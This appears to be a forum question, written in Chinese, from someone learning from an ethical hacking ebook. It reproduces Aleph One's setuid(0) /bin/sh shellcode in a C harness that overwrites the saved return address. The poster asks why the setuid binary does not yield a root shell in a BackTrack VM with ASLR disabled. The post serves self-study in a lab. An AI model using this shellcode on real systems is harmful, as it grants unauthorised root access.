我正在关注这本关于道德黑客的电子书,我到达了 Linux Exploit Chapter,这是 Aleph 的 1 代码的代码。
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
我给这个超级用户权限,
chmod u+s shellcode
作为超级用户,然后回到普通用户
su - normal_user
但是当我运行时,./shellcode
我应该是 root 用户,但我仍然是 normal_user,所以有什么帮助吗?顺便说一句,我正在研究 BT4-Final,我关闭了 ASLR,并在 VMWare 中运行 BT4 ......